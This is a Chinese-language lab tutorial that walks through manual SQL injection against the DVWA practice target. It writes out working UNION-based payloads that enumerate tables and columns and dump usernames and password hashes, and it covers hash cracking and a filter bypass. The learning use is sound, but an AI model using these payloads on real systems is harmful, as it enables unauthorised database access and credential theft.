目录
1.判断漏洞是否存在
2.判断注入类型(数字型/字符型)
3.猜列数
4.联合查询判断回显位
6.获取数据库表明
此实验为本人学习内容,从未攻击任何网站!!!请伙伴们同样遵纪守法!!!
环境:虚拟机win10
靶场:dvwa
1.判断漏洞是否存在
根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了,说明存在注入漏洞。
一般利用单引号( ' )或者双引号( " )来判断是否存在漏洞,如果出现SQL 语句错误说明有很大的可能会存在漏洞。
将dvwa靶场难度调为low
进入sql注入
第一步看到User ID可以先尝试输入数字,我尝试输入的1
第二步使用HackBar插件,点击LoadURL,就会在右方输入框内看到url
第三步点击Spit URL,方便查看
第四步在id=1后输入'或",查看是否报错 (因为sql语句中单引号或双引号都是成双成对,我们在这里输入单引号或者双引号后如果报错,很大可能存在此漏洞)
第五步点击Execute
可以看到报错信息里多出一个单引号,那么很大可能存在sql注入漏洞
我们可以查看数据库日志,进一步印证这一点(日志文件需要自行添加)
添加日志文件
添加
general_log = 1
general_log_file = "D:\phpStudy\PHPTutorial\MySQL\data\mysql.log"
general_log_file = "D:\phpStudy\PHPTutorial\MySQL\data\mysql.log"
回到添加路径下新建mysql.log即可
我们可以看到日志文件中我们在网页中做出的修改,一开始输入了1,第二次输入了1',可以看到这两句实际上就是sql查找语句(因为是学习阶段我们可以查看数据库日志文件来验证我们的想法)
第二次多输入一个单引号可以从语句中看出多了一个单引号,所以会报错
得出结论我们可以通过这里修改数据库从而得到更多有用信息
2.判断注入类型(数字型/字符型)
判断注入类型是 数字型 还是 字符型 ,这涉及到在注入的过程中是否 需要添加单引号,可以使用and ( 逻辑与)进行判断,当条件表 达式两边都为真才是真,有一边为假则是假
1 and 1=1
1 and 1=2
如果输入 1 and 1=1 和 1 and 1=2 页面的查询结果都返回相同的内 容,说明不是数字型注入。既然不是数字型,那就有很大的可能是 字符型注入了。
如果是字符型则需要对单引号( ' )进行闭合,因为 MySQL 中的引号 都是成双成对出现的。
输入以后可以看到 1 and 1=1, 1 and 1=2都能正常显示,这说明什么呢?说明这里不是数字型,数字型肯定会报错,很有可能是字符型
可以观察日志文件
既然已经判断不是数字型,我们就来验证一下是不是字符型
我们输入1' and 1=2--+,发现没有正常显示因为结果为假
(--+是注释的意思在数据库中注释为-- (有个空格),在url中会将+编码为空格)
我们输入--+是为了注释掉数据库中原本自带的单引号,让前面自带的单引号和我们输入 的单引号组成一对
我们再次查看日志文件
为了进一步验证,我们输入1' and 1=1--+
发现正常显示,这就形成了单引号闭合,符合字符型
我们可以在数据库中对比一下
首先是数字型,数字型正常来说是这两种结果,而在靶场中则是显示为相同的结果,原因是数据库将我们输入的1 and 1=1和1 and 1=2看做成'1 and 1=1'和'1 and 1=2',因为是字符型所以会自动的将我们输入的数据看成一体。
而我们后来输入的1' and 1=1--+和1' and 1=2--+,因为我们在末尾都输入了注释符将字符型它本身的后单引号给注释掉了所以会呈现两种状态。
这里还涉及到隐式类型转换
'1 and 1=1'和'1 and 1=2'是两个字符串从被单引号引起来就能看出这一点,
'1 and 1=1'会从左往右读首先是1然后空格后面就不会再读取了,就等价于1,如同c语言中strlen()函数计算字符串长度时遇到\0就会结束。
我们知道这里是单引号闭合以后可以开始下一步猜列数
3.猜列数
查看日志文件就明白了
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 10 -- '
这条查询语句的意思是查询user_id=1,first_name, last_name这两列里的信息然后进行排序(order by)
这条查询语句中只选择了first_name, last_name这两列,所以我们根据列来查询只能是2,在实战中没有日志文件我们可以不断缩小列数来查询
4.联合查询判断回显位
这里我就不解释数据库查询语句了,不懂的伙伴可以学习一下数据库增删改查的知识
dvwa靶场中正常显示了两行但很多网站可能只会显示上面一行的内容不会显示我们输入的1,2
怎么解决呢我们输入id=-1' union select 1,2 --+,让id=-1,这样数据可在查询的时候发现没有匹配的就不会显示,则直接显示我们输入的查询
这好似我在数据库中演示的结果这样很好理解
确定回显位后我们则可以根据联合查询得到更多信息
如union select database(),version(),可以查询数据库名称和版本号
6.获取数据库表明
可以看到我们通过联合查询语句查出了dvwa数据库的两个表名
还是同样的问题,很多网站只会显示一条内容,这里我们的解决方法是group_concat()函数
第二种方式-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa' )%23
我们将查询标明的语句卸载括号里让他成为一条完整的查询语句这样对我们新手更加友好
查到表名后我们就要进一步查询表的字段了,这里我们查询users表的字段 %23也代表注释
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' )%23
最后就可以去具体的数据了比如查询user字段的数据
-1' union select 1,(select group_concat(user) from users )%23
这样我们就查出了所有的用户名
接下来我们查询user 和 password
显示在一行唯一的缺陷就是会将所有数据写在一起,需要自己根据前面查出的用户来对照
这里的密码是经过加密的可以通过解密工具解密
#group_concat() 函数被过滤时,可以使用 limit n,1 来逐个输出查询内容